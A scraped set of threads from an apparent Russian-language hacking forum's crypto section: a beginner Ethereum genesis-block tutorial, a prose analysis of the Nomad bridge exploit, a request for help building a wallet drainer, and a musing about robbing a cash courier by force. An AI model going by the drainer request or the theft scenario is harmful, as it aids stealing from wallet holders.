З.Ы.Если найдется человек, который поможет добраться до средств скину вознагрждение (небольшое) на кошельке денег не очень много.

Bybit рулит
ID: 67686ad7b4103b69df379727
Thread ID: 115489
Created: 2024-05-27T16:28:49+0000
Last Post: 2024-05-28T00:31:58+0000
Author: Hodl
Replies: 4 Views: 1K

Нет цены ликвидации
Screenshot_2024-05-27_21_10_26.png
Screenshot_2024-05-27_21_10_261.png
Счет демо, такой суммой не располагаю😁, тестил стратегию и игрался с начальными данными. Если есть у кого такая сумма пользуйтесь.

Поддержать меня Tether USD Address on TRX Network TCC93tJ6baTdtqtgX59B3DiqsQ7P7keEqc

Yчимся создавать смарт-контракты Ethereum на Solidity с самого начала и пока смерть не разлучит нас / #1
ID: 67686ad7b4103b69df37991e
Thread ID: 71533
Created: 2022-08-12T07:24:20+0000
Last Post: 2022-08-12T07:24:20+0000
Author: вавилонец
Prefix: Статья
Replies: 0 Views: 1K

Доброго дня/ночи/луны мои будующие писатели супер-пупур-смарт-контрактов.
Web2 очень интересная и высокотехнологичная отрасль нашего любимого интернета, но пора бы уже и нажать кнопку UPGRADE и начать свое обучение в web3, чего мне так советовали коллеги еще тогда как я начал переводить статьи для форума.
Начнем, конечно, с самого-самого начала. В этой статье Вы вряд ли найдете что- то новое, потому что тут я опишу самые простые вещи, касаемые смартов, блокчейна и Ethereum'а.
1660282323157.png
Блокчейн, с чем его едят и почему не стоит запивать водкой

Блокчейн (Blockchain, Block Chain) представляет собой цепочку блоков данных, связанных друг с другом определенным образом. В начале цепочки находится первый блок, который
называется первичным блоком (genesis block) или блоком генезиса. За ним следует второй, потом третий и так далее. Все эти блоки данных автоматически дублируются на многочисленных узлах сети блокчейна. Таким образом обеспечивается децентрализованное хранение данных блокчейна. Вы можете представить себе систему блокчейна как большое количество узлов (физических или виртуальных серверов), объединенных в сеть и реплицирующих все изменения в цепочке блоков данных. Это как бы гигантский мультисерверный компьютер, причем узлы такого компьютера (серверы) могут быть разбросаны по всему миру. И вы тоже можете добавить свой компьютер в сеть блокчейна.
Блокчейн можно представить себе как распределенную базу данных, реплицируемую на все узлы сети блокчейна. В теории блокчейн будет работоспособен до тех пор, пока работает
хотя бы один узел, хранящий все блоки блокчейна. Блокчейн можно представить себе как распределенный реестр данных и операций (транзакций). Еще одно название такого реестра – гроссбух. В распределенный реестр можно добавлять данные, но невозможно их изменять или удалять. Такая невозможность достигается, в частности, применением криптографических алгоритмов, специальных алгоритмов добавления блоков в цепочку и децентрализованным хранением данных. При добавлении блоков и выполнении операций (транзакций) используются приватные и публичные ключи. Они ограничивают пользователей блокчейна, предоставляя им доступ только к своим блокам данных.
Блокчейн хранит информацию об операциях (транзакциях) в блоках. При этом старые, уже выполненные транзакции невозможно откатить или изменить. Новые транзакции хранятся
в новых, добавленных блоках. Таким образом в блокчейне может быть записана в неизменном виде вся история транзакций. Поэтому блокчейн может быть использован, например, для надежного хранения банковских операций, сведений об авторском праве, истории изменений владельцев объектов недвижимости и т.п.
Блокчейн Ethereum содержит так называемые состояния системы. По мере выполнения транзакций состояние изменяется от начального до текущего. Транзакции записываются в
блоки.
Тут нужно отметить, что все сказанное верно только для так называемых публичных сетей блокчейн, которые не могут контролироваться никакими отдельными физическими или юри-
дическими лицами, государственными органами или правительствами. Так называемые приватные сети блокчейн находятся под полным контролем их создатлей, и там возможно все, например, полная замена всех блоков цепочки.
Для чего может пригодиться блокчейн?
Если кратко, блокчейн позволяет безопасным образом проводить операции (сделки) между не доверяющими друг другу персонами или компаниями. Записанные в блокчейн данные (транзакции, персональные данные, документы, свидетельства, договоры, накладные и т.п.) невозможно подделать или заменить после записи. Поэтому на базе блокчейна можно
создавать, например, доверенные распределенные реестры различного рода документов. Конечно, вы знаете, что на базе блокчейнов создаются криптовалютные системы, при-
званные заменить обычные бумажные деньги. Бумажные деньги еще называют фиатными (от Fiat Money).
Так называемые смарт-контракты, представляющие собой программное обеспечение, работающее в сети Ethereum, позволяют автоматизировать процесс заключения сделок и кон-
троль их выполнения. Особенно это эффективно, если оплата по сделке проводится криптовалютой Ether (эфир). Блокчейн Ethereum и смарт-контракты Ethereum, написанные на языке программирования Solidity, могут использоваться, например, в таких областях:

А вот почему их лучше не запивать водкой, потому что как и от последней в смартах куча проблем / ну как же без них-то /.

Есть проблемы с верификацией данных перед их добавлением в блокчейн (например, не поддельные ли они?), проблемы в безопасности системного и прикладного ПО, применяемого для работы с блокчейном, проблемы с возможностью использования методов социальной инженерии для похищения доступа к кошелькам с криптовалютой и т.п.
Опять же, если речь идет не о публичном блокчейне, узлы которого разбросаны по всему миру, а о приватном блокчейне, принадлежащем персоне или организации, то уровень доверия
здесь будет не выше, чем уровень доверия к этой персоне или этой организации. Также следует учитывать, что данные, записанные в блокчейн, становятся доступны для всех. В этом смысле блокчейн (особенно публичный) не подходит для хранения конфиденциальной информации. Однако тот факт, что информацию в блокчейне невозможно изменить,
может помочь предотвратить или расследовать различного рода мошеннические действия. Децентрализованные приложения Ethereum будут удобны, если платить за их использование криптовалютой. Чем больше людей, владеющих криптовалютой или готовых ее приобрести, тем большую популярность получат приложения DApp и смарт-контракты.
Среди общих проблем блокчейна, затрудняющих его практическое применение, можно упомянуть ограниченную скорость добавления новых блоков и относительно высокую стоимость транзакций. Но технологии в этой области активно развиваются, и есть надежды, что технические проблемы со временем будут решены.
Еще одна проблема заключается в том, что смарт-контракты блокчейна Ethereum работают в изолированной среде виртуальных машин / EVM / и не имеют доступа к данным реального мира. В частности, программа смарт-контракта не может сама прочитать данные с сайтов или каких-либо физических устройств (датчики, контакты и т.п.), а также не может вывести данные на какие-либо внешние устройства. Эту проблему и способы ее решения мы будем обсуждать когда дойдем до так называемых Оракулов – информационных посредников смарт-контрактов.
Также есть ограничения в области законодательства. В некоторых странах, например, запрещается использовать криптовалюту как платежное средство, но можно владеть ей как
неким цифровым активом, наподобие ценных бумаг. Такие активы можно покупать и продавать на бирже. В любом случае, при создании проекта, работающего с криптовалютами, необходимо ознакомиться с законодательством той страны, под юрисдикцию которой попадает ваш проект.

Блокчейн Эфириум является, по сути, системой состояния транзакций. В информатике такое понятие, как «система состояний» или «машина состояний» – это система, которая обрабатывает вводимую информацию и на основании последней преобразуется в новое состояние. В машине состояний Эфириума все процессы начинаются с «первоначального состояния». Такое состояние представляет собой аналог нулевого состояния, в котором находится машина до того момента, как в ее сети начнут происходить какие-либо действия, связанные с транзакциями. Когда такие действия начнут происходить, первоначальное состояние заменяется на конечное, при этом в любой момент времени конечное состояние отображает текущее состояние Эфириума.

1660283785120.png

Состояние Эфириума имеет миллионы транзакций. Эти транзакции сгруппированы в «блоки». Блок содержит ряд транзакций, при этом каждый последующий блок соединен с предыдущим, благодаря чему обеспечивается своеобразная цепочка блоков.

1660283816999.png

Блокчейн Ethereum представляет собой платформу, на базе которой можно создавать распределенные приложения DApp. В отличие от других платформ, Ethereum позволяет использовать так называемые умные контракты (смарт- контракты, smart contracts), написанные на языке программирования Solidity. Эта платформа была создана в 2013 году Виталиком Бутериным.

А как-же это всё произошло.

Блок генезиса создается с использованием файла состояния генезиса или genesis.json в Geth / Ethereum на Go /. Этот файл содержит все данные, которые потребуются для генерации блока 0, в том числе, кто начинает с каким количеством эфира. Вот пример пользовательского файла состояния генезиса, который инициализирует этот блок.

Code:Copy to clipboard

// genesis.json
{
 "alloc": {
    "0xca843569e3427144cead5e4d5999a3d0ccf92b8e": {
      "balance": "1000000000000000000000000000"
    },
    "0x0fbdc686b912d7722dc86510934589e0aaf3b55a": {
      "balance": "1000000000000000000000000000"
    }
  },
 "config": {
   "chainID": 68,
   "homesteadBlock": 0,
   "eip155Block": 0,
   "eip158Block": 0
 },
 "nonce": "0x0000000000000000",
 "difficulty": "0x0400",
 "mixhash": "0x0000000000000000000000000000000000000000000000000000000000000000",
 "coinbase": "0x0000000000000000000000000000000000000000",
 "timestamp": "0x00",
 "parentHash": "0x0000000000000000000000000000000000000000000000000000000000000000",
 "extraData": "0x43a3dfdb4j343b428c638c19837004b5ed33adb3db69cbdb7a38e1e50b1b82fa",
 "gasLimit": "0xffffffff"
}

Арванаги Брэндон 26 января 2018 г. @арванаги
Каждый блокчейн должен где-то начинаться, поэтому в начале есть то, что называется блоком генезиса. Это первый блок, и в нем создатели Ethereum могли сказать: «Для начала на всех следующих аккаунтах есть X единиц моей криптовалюты». Любая передача этого эфира в блокчейне будет происходить с одной из этих первоначальных учетных записей (или с майнинга).
Каждый раз, когда мы запускаем Ethereum, мы фактически воссоздаем этот блок генезиса с нуля. Синхронизация блокчейна с пирами начинается только с блока 1.
Если вы сочтете этот пост полезным, не забудьте подписаться на мой Twitter , где я публикую больше контента и руководств по Etheruem.

Бытие​

Блок генезиса создается с использованием файла состояния генезиса или genesis.jsonв Гете. Этот файл содержит все данные, которые потребуются для генерации блока 0, в том числе, кто начинает с каким количеством эфира. Вот пример пользовательского файла состояния генезиса, который инициализирует этот блок.
// genesis.json
{
"alloc": {
"0xca843569e3427144cead5e4d5999a3d0ccf92b8e": {
"balance": "1000000000000000000000000000"
},
"0x0fbdc686b912d7722dc86510934589e0aaf3b55a": {
"balance": "1000000000000000000000000000"
}
},
"config": {
"chainID": 68,
"homesteadBlock": 0,
"eip155Block": 0,
"eip158Block": 0
},
"nonce": "0x0000000000000000",
"difficulty": "0x0400",
"mixhash": "0x0000000000000000000000000000000000000000000000000000000000000000",
"coinbase": "0x0000000000000000000000000000000000000000",
"timestamp": "0x00",
"parentHash": "0x0000000000000000000000000000000000000000000000000000000000000000",
"extraData": "0x43a3dfdb4j343b428c638c19837004b5ed33adb3db69cbdb7a38e1e50b1b82fa",
"gasLimit": "0xffffffff"
}

Давайте разберем некоторые поля в файле состояния генезиса.

Структура конфигурации в genesis.json связана с настройкой переменных конфигурации для Ethereum и не имеет ничего общего с тем, что находится внутри блока генезиса. Однако эти значения важны, потому что они также должны соответствовать информации о конфигурации любого другого узла, с которым вы хотите взаимодействовать.

Есть три важных момента которые мы рассмотрим при изучении конфигурации.

Code:Copy to clipboard

type ChainConfig struct {
  ChainId *big.Int `json:"chainId"` // Идентификатор цепи идентифицирует текущую цепь и используется для защиты от воспроизведения

  HomesteadBlock *big.Int `json:"homesteadBlock,omitempty"` //  Блок переключения Homestead (nil = нет форка, 0 = уже Homestead
  DAOForkBlock   *big.Int `json:"daoForkBlock,omitempty"`   //  Блок переключения хард-форков TheDAO - цифровая децентрализованная автономная организация, представляющая собой краудфандинговую платформу, основанную на системе умных контрактов и технологии Ethereum
  DAOForkSupport bool     `json:"daoForkSupport,omitempty"` // Поддерживает ли узел хард-форк DAO или нет

  // EIP150 реализует изменение цены на газ (https://github.com/ethereum/EIPs/issues/150)
  EIP150Block *big.Int    `json:"eip150Block,omitempty"` // EIP150 HF block (nil = no fork)
  EIP150Hash  common.Hash `json:"eip150Hash,omitempty"`  // EIP150 HF hash (помощь при быстрой синхронизации)

  EIP155Block *big.Int `json:"eip155Block,omitempty"` // Блок простой защиты от повторных атак
  EIP158Block *big.Int `json:"eip158Block,omitempty"` // EIP158 HF block

  // Различные механизмы консенсуса
  Ethash *EthashConfig `json:"ethash,omitempty"`
  ...
}

Это сделано так, чтобы было понятно в какой цепи вы находитесь: если chainID = 1 - означает что вы хотите принять участие в чейто цепочке сети Ethereum, а не начать свою
СhainID впервые был представлен в EIP155 (очень скоро мы разберемся что такое EIP). Цель его добавления заключалась в том, чтобы транзакции в сети Ethereum выглядели иначе, чем в классической сети Ethereum. Транзакции подписываются по-разному в зависимости от chainID - значения.

Далее рассмотрим [конфиг GEth](https://github.com/ethereum/go- ethereum/blob/feeccdf4ec1084b38dac112ff4f86809efd7c0e5/params/config.go#L71)

Code:Copy to clipboard

// Copyright 2016 The go-ethereum
// Этот файл является частью библиотеки go-ethereum.
//
// Библиотека go-ethereum является бесплатным программным обеспечением: вы можете распространять ее и/или модифицировать
// на условиях Стандартной общественной лицензии ограниченного применения GNU, опубликованной
// Фонд свободного программного обеспечения, либо версия 3 Лицензии, либо
// (на ваш выбор) любая более поздняя версия.
//
// Библиотека go-ethereum распространяется в надежде, что она будет полезна,
// но БЕЗ КАКОЙ-ЛИБО ГАРАНТИИ;  даже без подразумеваемой гарантии

package params

import (
    "fmt"
    "math/big"

    "github.com/ethereum/go-ethereum/common"
)

var (
    // MainnetChainConfig это параметры цепочки для запуска узла в основной сети.
    MainnetChainConfig = &ChainConfig{
        ChainId:        MainNetChainID,
        HomesteadBlock: MainNetHomesteadBlock,
        DAOForkBlock:   MainNetDAOForkBlock,
        DAOForkSupport: true,
        EIP150Block:    MainNetHomesteadGasRepriceBlock,
        EIP150Hash:     MainNetHomesteadGasRepriceHash,
        EIP155Block:    MainNetSpuriousDragon,
        EIP158Block:    MainNetSpuriousDragon,
        Ethash:         new(EthashConfig),
   
    }
TestnetChainConfig = &ChainConfig{
       ChainId: big.NewInt(1),

Конфигурация: HomesteadBlock

значение 0 указывает на использование релиза Ethereum Homestead. Это второй из основных релизов Ethereum — а недавно, 16 октября 2017 года, Ethereum форкнулся на релиз Byzantium.

Конфигурация: DAOForkBlock

Номер блока, в котором происходит форк децентрализованной автономной организации (DAO).

Немного предыстории: В 2016 году DAO создала чрезвычайно успешный смарт- контракт для финансирования dApps и предоставления вкладчикам своего рода доли в этих dApps посредством токенов DAO. Этот контракт был новой идеей, которая позволила собрать беспрецедентное количество эфира.
К несчастью, злоумышленник обнаружил вектор атаки, который позволял многократно выводить эфир из контракта в обмен на одни и те же токены DAO. Миллионы были украдены.
В конечном итоге большинство пользователей Ethereum проголосовали за создание жесткого форка в блокчейне, который бы аннулировал действия злоумышленников, и контракт был бы обновлен. Это было спорное решение, поскольку фракция противников форка (по праву) заявила, что оно создает опасный прецедент на будущее: если большинству пользователей не понравится какой-то конкретный результат, теперь есть прецедент для его отмены.
Поскольку большинство проголосовало за продолжение форка, родилась переменная DAOForkBlock, которая появилась на 1920000-м блоке в основной сети. Вот определение переменной в Geth:

Code:Copy to clipboard

// MainNetDAOForkBlock - это номер блока, на котором начинается хард-форк DAO в основной сети Ethereum.
// основной сети Ethereum.
var MainNetDAOForkBlock = big.NewInt(1920000)

Таким образом, любой блок, добытый после этого, должен будет следовать протоколам, установленным этим новым форком, и в противном случае будет отклонен. Если бы мы создавали локальную цепочку Ethereum для тестирования, мы могли бы установить это значение равным 0, чтобы получить наиболее современное поведение транзакций с самого начала, а не использовать устаревший протокол для первых 1919999 блоков.

Конфигурация: DAOForkBlockSupport ​

Логическое значение, которое подтверждает, соблюдает ли узел хардфорк DAO.

Конфигурация: EIP150Block

EIP означает предложение по улучшению Ethereum . Ethereum имеет открытый исходный код, поэтому люди делают предложения в форме обсуждений и кода. Одни принимаются, другие отвергаются. EIP150 — одно из таких предложений, которое было принято. Этот EIP вступил в силу на блоке №2463000 и в основном был связан с повышением цен на газ в ответ на проблемы с отказом в обслуживании.

Конфигурация: EIP150Hash​

Хэш блока EIP150Block, который нужен для [быстрой синхронизации ](https://ethereum.stackexchange.com/questions/1161/what-is-geths-fast-sync- and-why-is-it-faster).

Конфигурация: EIP155Block​

EIP155 был принят для предотвращения повторных атак.

Конфигурация: EIP158Block

EIP158 был принят, чтобы изменить то, как клиенты Ethereum работают с пустыми учетными записями. Этот новый протокол начал рассматривать их как несуществующие, экономя место в блокчейне.

Конфигурация: Ethash

Просто сообщает клиенту, что мы используем Ethash, алгоритм Ethereum Proof of Work, для майнинга блоков.

Наконец-то мы закончили рассматривать переменные конфигурации. Продоллжим изучать остальную часть genesis.json.

alloc

Это поле определяет, кто и сколько эфиров получит в начале работы блокчейна. В основной сети Ethereum первым так сказать повезло - им перепало немного эфира на халяву и теперь, каждый раз, когда мы запускаем Ethereum в основной сети, мы воссоздаем этот первый блок и все те начальные транзакции этих людей.

Вот некоторые из адресов в разделе alloc файла состояния генезиса сети mainnet:

Code:Copy to clipboard

{
  "alloc": {
    "3282791d6fd713f1e94f4bfd565eaa78b3a0599d": {
      "balance": "1337000000000000000000"
    },
    "17961d633bcf20a7b029a7d94b7df4da2ec5427f": {
      "balance": "229427000000000000000"
    },
    "493a67fe23decc63b10dda75f3287695a81bd5ab": {
      "balance": "880000000000000000000"
    },
    "01fb8ec12425a04f813e46c54c05748ca6b29aa9": {
      "balance": "259800000000000000000"
    }
    ...
}

difficulty

Это значение определяет, насколько сложно добыть блок. Разные технологии блокчейна используют разные алгоритмы майнинга - на момент написания этой статьи (а ей 4 года) в сети Ethereum все еще используется Proof of Work. Сложность можно интерпретировать через ее обратную величину; другими словами, если значение равно 0x0400, это означает, что вероятность успеха вашей первой попытки добычи блока составляет 1/1024. Получаем это значение, потому что 0x0400 в шестнадцатеричной системе равно 1024 в десятичной. Обратная величина 1024, очевидно, равна 1/1024, что означает, что в среднем вы можете рассчитывать на успешную добычу после 1024 вычислений хэша. Скорость добычи блока зависит от того, насколько быстро ваш компьютер может произвести в среднем 1024 хэш-вычислений. Считайте это значение "стартовым" для определения сложности добычи любого блока в цепи. Не каждый блок будет иметь такую сложность; вместо этого это значение передается в клиент Ethereum, чтобы алгоритмически определить сложность для последующего блока. Сложность добычи блока меняется по мере роста блокчейна.

mixhash, nonce

mixhash и nonce используются вместе, чтобы определить, был ли блок добыт правильно. Если злоумышленник подделывает блоки с фальшивым nonce, то для других узлов сети может потребоваться много вычислений, чтобы обнаружить, что nonce был подделан. mixhash - это промежуточный расчет для нахождения nonce, который не так затратен для определения. Таким образом, если другие узлы сети обнаруживают ошибочный mixhash при проверке блока, они могут отбросить блок без дополнительной работы по проверке nonce.
В блоке genesis эти значения не имеют смысла, но сделать их случайными - хорошая идея, чтобы другие пиры случайно не подключились к вашей цепи, имея такой же точно файл genesis.json.

parentHash

256-битный хэш Keccak заголовка предыдущего блока. В блоке genesis это значение не имеет смысла, так как у блока 0 нет родителя. Однако целью создания блока genesis было сделать его формат таким же, как у любого другого блока, поэтому у нас есть это поле и мы присваиваем ему значение.

gasLimit

Максимальное количество вычислений, которое может поддерживать любой блок на данной цепочке.

coinbase

Вознаграждения в эфире, полученные за "добычу" блока genesis, отправляются на 160-битный адрес coinbase. В блоке genesis это бессмысленно (тем более что вы вольны распределять столько эфира, сколько хотите, на любой счет), но, опять же, целью было сделать блок genesis идентичным любому другому блоку на блокчейне, поэтому эти значения существуют.

Собственно так вот выглядит конфиг 1 блока, а дальше пора майнить)

Майнинг, или Как создаются блоки

Майнинг (mining) представляет собой довольно сложный и ресурсоемкий процесс добавления новых блоков в цепочку блокчейна, а вовсе не «добычу криптовалют». Майнинг обеспечивает работоспособность блокчейна, т.к. именно этот процесс отвечает за добавление транзакций в блокчейн Ethereum. Люди и организации, занимающиеся добавлением блоков, называются майнерами (miner). Программное обеспечение (ПО), работающее на узлах майнеров, пытается подобрать для
последнего блока параметр хеширования с названием Nonce, чтобы получилось определенное значение хеш-функции, заданной сетью. Алгоритм хеширования Ethash, применяемый в
Ethereum, позволяет получить значение Nonce только путем последовательного перебора.
Если узел майнера нашел правильное значение Nonce, то это является так называемым доказательством работы (PoW, Proof-of-work). В этом случае, если блок будет добавлен в сеть
Ethereum, майнер получает определенное вознаграждение в валюте сети – Ether. Таким образом, майнеры Ethereum обеспечивают работу сети, добавляя блоки, и получают за это криптовалютные деньги. В интернете вы найдете массу информации о майнерах и майнинге, а мы сосредоточимся на создании контрактов Solidity и децентрализованных приложений DApp в сети Ethereum.

Для начала думаю пойдет. Продолжение полюбому

Поставил нолик - похитил $190 миллионов
ID: 67686ad7b4103b69df379924
Thread ID: 71344
Created: 2022-08-09T05:16:59+0000
Last Post: 2022-08-09T11:26:44+0000
Author: вавилонец
Prefix: Статья
Replies: 1 Views: 1K

Оригинальная статья
Переведено специально для XSS.IS
Камнями кидать - Jolah Milovski

"1 августа 2022 года на мосту Nomad произошел эксплойт, в результате которого были потеряны активы на сумму 190 миллионов долларов. Уязвимость вызвана тем, что для параметра «committedRoot» установлено значение 0 во время инициализации."

Nomad Bridge — это кросс-чейн-платформа криптовалюты блокчейн, которая поддерживает передачу активов между блокчейнами в Ethereum, Moonbeam, Avalanche, Evmos и Milkomeda. 1 августа 2022 года на Nomad Bridge произошел эксплойт, в результате которого были потеряны активы на сумму 190 миллионов долларов. Уязвимость вызвана тем, что для параметра «committedRoot» установлено значение 0 во время инициализации. Таким образом, злоумышленник может обойти процесс проверки сообщения и украсть токены из кроссчейн- контрактов.

Введение в Nomad Bridge​

Nomad Bridge — это межсетевой протокол криптовалюты блокчейна, который позволяет пользователям передавать активы между различными блокчейнами. Кроме того, эмитенты активов также могут развертывать токены в разных цепочках, а разработчики также могут создавать нативные межсетевые приложения через Nomad. Цель Nomad — обеспечить безопасное взаимодействие пользователей и разработчиков. Nomad поддерживает передачу токенов между Avalanche (AVAX), Ethereum (ETH), Evmos (EVMOS), Milkomeda C1 и Moonbeam (GLMR).

Анализ событий эксплуатации уязвимостей​

1 августа мост Nomad подвергся уязвимости в процессе обновления. Уязвимость вызвана тем, что в процессе инициализации для параметра «committedRoot» установлено значение 0. Злоумышленники могут обойти процесс проверки сообщения и злоупотреблять транзакциями копирования/вставки для запуска атак. В частности, пользователь копирует данные вызова исходной хакерской транзакции и заменяет их исходным адресом человека. Затем транзакция обрабатывается, и средства удаляются с моста Nomad. В течение четырех часов хакеры, боты и другие члены сообщества продолжали повторять атаки и сумели украсть почти все средства моста Nomad на общую сумму около 190 миллионов долларов.

Рассмотр атаки:​

Ethereum получает перевод 100 WBTC 0xa5fe9

https://etherscan.io/tx/0xa5fe9d044e4f3e5aa5bc4c0709333cd2190cba0f4e7f16bcf73f49f83e4a5460

1660021414752.png

Несколько транзакций атаки:

1660021444965.png

Вот так вот это все произошло:

Возьмем транзакцию 0xa5fe9 в качестве примера.

В процессе вызывается функция acceptRoot(messages[_messageHash]) , которая используется для проверки "отправлен" ли рут и не истек ли таймаут. В этом примере messages[_messageHash] равен 0x000.

1660021582320.png

Функция acceptRoot(messages[_messageHash]) возвращает true, и сообщение подтверждается. При инициализации он установлен на 0x0000

1660021653059.png

После того, как сообщение "протолкнется в блокчейн", злоумышленник может перевести деньги в другие сети
Контракт реплики был неправильно инициализирован в транзакции 0x53fd9, где «committedRoot» был инициализирован равным 0.
Таким образом, злоумышленник может напрямую вызвать функцию «process(byte memory _message)» с любым «_message» для обхода проверки.
Адрес контракта: 0x88a69
Эта функция обеспечивает проверку проверки хэша сообщения.
1660021846643.png

Эта функция проверяет, аттестован, обработан и подтвержден ли root.

1660021895476.png

В транзакции инициализации 0x53fd9 владелец отправляет 0, и confirmAt[_committedRoot] устанавливаются в 1.

1660021976530.png

1660022090964.png

Поэтому 0 будет проверяться по адресу 0xb9233.
В соответствии с реализацией функции доказательства корень неподтвержденного сообщения также равен 0, поэтому 0 считается действительным подтвержденным корнем и может обойти проверку. Злоумышленнику нужно только отправить транзакцию в Nomad Bridge, чтобы получить соответствующий токен.

1660022168282.png

Отслеживание активов​

Всего с Nomad Bridge было переведено токенов на сумму около 190 миллионов долларов.

1660022194356.png

Хелп, хочу написать дрейнер в качестве пэт-проекта но нужен совет.
ID: 67686ad7b4103b69df379729
Thread ID: 115407
Created: 2024-05-26T20:16:39+0000
Last Post: 2024-05-27T10:09:38+0000
Author: SilverBullet
Replies: 6 Views: 1K

Доброго всем времени суток.

Хочу написать дрейнер в качестве пэт-проекта, но не совсем понимаю с чего начать.
Опыт в full-stack веб разработке довольно большой и разнообразный. Верстал лендинги, писал фронт к разным пет и не очень проектам на react.js, делал не супер сложный бек на express.js и питухон фастапи.
А вот в крипте не шарю, могу обменять фиат на крипту отправить получить монету, но фулл понимания работы механизма дрейнера нет.

Не понятно, где черпать знания именно в теме дрейнеров.
Насколько я знаю это софт, который списывает бабки криптокоша путем коннекта к кошу жертвы и далее запросом транзакций под видом подтверждений или чего бы то ни было.
В публичном доступе не находил ни материалов по функционалу, ни сурсов готовых дрейннеров (но в целом не супер то и искал).
Как инициировать эти транзакции программно, коннектить кошельки и тд тоже не понятно.

Повторюсь, мною движет чисто спортивный интерес, и создавать новый супер- дрейнер который напиздит мне миллионы я не собираюсь, просто интересно разобраться для себя в этой теме.
Короче, посоветуйте что почитать/посмотреть, чтобы смочь написать такое.
Всем заранее благодарен.

Нужны мануалы на выпуск токена
ID: 67686ad7b4103b69df37973e
Thread ID: 89622
Created: 2023-06-03T19:58:00+0000
Last Post: 2024-04-26T19:01:06+0000
Author: senegal55
Replies: 9 Views: 1K

Прошу мануалы на выпуск своего токена. Хочу разобраться где продается, как создать. В общем максимально подробно. Можно еще мануалы по ICO

Курьеры наличных
ID: 67686ad7b4103b69df379740
Thread ID: 113113
Created: 2024-04-22T20:59:01+0000
Last Post: 2024-04-22T22:05:49+0000
Author: student
Replies: 28 Views: 1K

Тупой вопрос, извиняюсь, но мне интересно получить ответ.
Допустим обменник кинул меня перевел большое количество битков и попросили AML проверку пройти. Я естественно не стал этого делать и создал новый обмен.
btc --> наличные rub Москва. Встретился с курьером, объяснил ситуацию. И попросил его зайти в холодный кош и перевел свое, то что у меня отжали себе. Естественно с аккаунта курьера, а не с того адреса куда я кидал. Далее я же ебанутый, скажу курьеру пусть с админом обменника встретится. В итоге и с ним встречаемся и я силой вывожу деньги и с него и пропадаю.
Вопрос заключается в чем:
1. Кто такой курьер и почему ему доверяют миллионы(обменник доверяет). Кто ему выдает наличные или он сам обналичивает с карты?
2. Как они будут защищаться от такого бандитизма?
p/s я никого не призываю таким заниматься. Стало интересно вот и все.

Готовимся к social тренду в крипте.
ID: 67686ad7b4103b69df379741
Thread ID: 82353
Created: 2023-02-20T12:24:28+0000
Last Post: 2024-04-22T12:08:45+0000
Author: malloy05
Prefix: Статья
Replies: 4 Views: 1K

1. Введение​

Уникальность криптовалюты состоит в её многогранности.
Экономисты, юристы, психологи, программисты, маркетологи - все найдут в ней что-то своё.
Под словом "криптовалюта" я подразумеваю открытый цифровой мир, построение которого стало возможно благодаря блокчейну.
Криптовалюты давно не сводятся только к валютам, правильней использовать термины "цифровые активы", "открытая цифровая экономика", "открытый цифровой мир".
За 2.5 года на рынке я выработала стратегию, которая соответствует моим сильным сторонам, ресурсам, навыкам, желаниям и взглядам на будущее.
Я не навязываю своё видение, лишь предлагаю наложить всё сказанное на ваше мировоззрение и разработать собственный подход к цифровому рынку.
В 2020 году, заходя в крипту, я сделала ставку на блокчейны.
В итоге они стали главными победителями прошлой волны.
Пришло время делать новые ставки.
Кажется, что этап построения базовой крипто инфраструктуры позади и теперь мы можем перейти к самому главному - созданию открытой социальной цифровой системы.
Это важный этап, понятный всем, даже людям не из крипто мира.
Самое прекрасное, что мы находимся в начале социального пути и имеем уникальную возможность зайти в начале пирамиды.

2. Что такое social и какие категории туда входят​

Под сошиал я понимаю всё, что связано с взаимодействием людей/групп друг с другом.
Если к первому слою условно можно отнести инфраструктуру, то второй слой состоит как раз из действий индивидов/образований, направленных друг на друга.
Для более эффективного анализа я разделила сошиал проекты на разные категории.
Замечу, что между ними нет четких границ, все категории переплетаются друг с другом и, возможно, впоследствии сольются, создав тот самый "новый открытый интернет".
_Предлагаю следующие сошиал категории, каждая из которых, я надеюсь, будет раскрыта более подробно нашим коммьюнити в отдельных статьях:

Социальные графы_
Социальный граф визуально похож на паутину и состоит из цепочки связей между участниками.
Это основной актив социальных сетей, который монетизируется ими посредством таргетинга, рекламы.
Существующие монополии не заинтересованы в открытости данных, поскольку извлекают максимум пользы из закрытой системы.
Однако это делает их неэффективными, приводит к застою и неизбежному развалу.
Открытые социальные графы упрощают создание социальных приложений, поскольку разработчикам не нужно начинать всё с нуля и есть возможность взять готовую базу данных.
Открывают возможности для рекламы, коммуникаций, построения системы рейтинга, управления коммьюнити.
Это может создать абсолютно новые формы сотрудничества индивидов.
Интерес пользователей состоит в праве собственности на профиль, возможности владеть своим контентом и эффективно монетизировать его.
С точки зрения инвестиций нравится из-за экосистемности.
Социальный граф - это фундамент, на котором построится множество приложений. Новые дискорды, твиттеры, фейсбуки.
Предполагаемые социальные графы, которые успела найти:

Spoiler: Список социальных графов

![cyberconnect.me](/proxy.php?image=https%3A%2F%2Fcyber.co%2Fopengraph- image%3Fae628a85bf3e5d0b&hash=f9c883a1d62c5dddb1d114f63674c4a8&return_error=1)

Cyber.co | Ethereum Layer 2 Solutions for Web3 Social

Explore Cyber.co for innovative Ethereum Layer 2 solutions to build web3 social applications. Cyber offers crypto staking and restaking for users to bootstrap the security of the new network.

cyberconnect.me cyberconnect.me

lens.xyz

Lens

Build web3 social.

lens.xyz lens.xyz

https://rss3.io (скорее не соц граф, но экосистемный)

mem.co

Mem

Sign in as you

mem.co mem.co

![relationlabs.ai](/proxy.php?image=https%3A%2F%2F3fypb-gqaaa-aaaag-aaedq- cai.ic1.io%2Favatar%2F23488d5d07964a04b8c92c264eb1d962.png&hash=140f17b0c79c31cc1b170dd8bc875395&return_error=1)

Encode Social Relationships on Web3

Relation empowers people and communities to co-build reputation and a better society in Web3 with semantic SBTs and linked relationship data. The semantic SBTs will create a chain native data layer that is easy to query, share and reuse with lower friction.

relationlabs.ai relationlabs.ai

DSNP - Decentralized Social Networking Protocol

DSNP establishes a shared social layer no longer dependent on a specific app or centralized platform.

www.dsnp.org www.dsnp.org

![subsocial.network](/proxy.php?image=https%3A%2F%2Fcdn.prod.website- files.com%2F626fee97e03eed4b123c6e3e%2F641468526e0e2dd14c8a3f23_SitePreview.png&hash=28095e6237dc1d07e2e5fc3eba5272d5&return_error=1)

Subsocial | A Next Gen Content Monetization Platform

Support your favorite creators or earn from your community's support with Subsocial's Creator Staking system, empowering users to grow the social network.

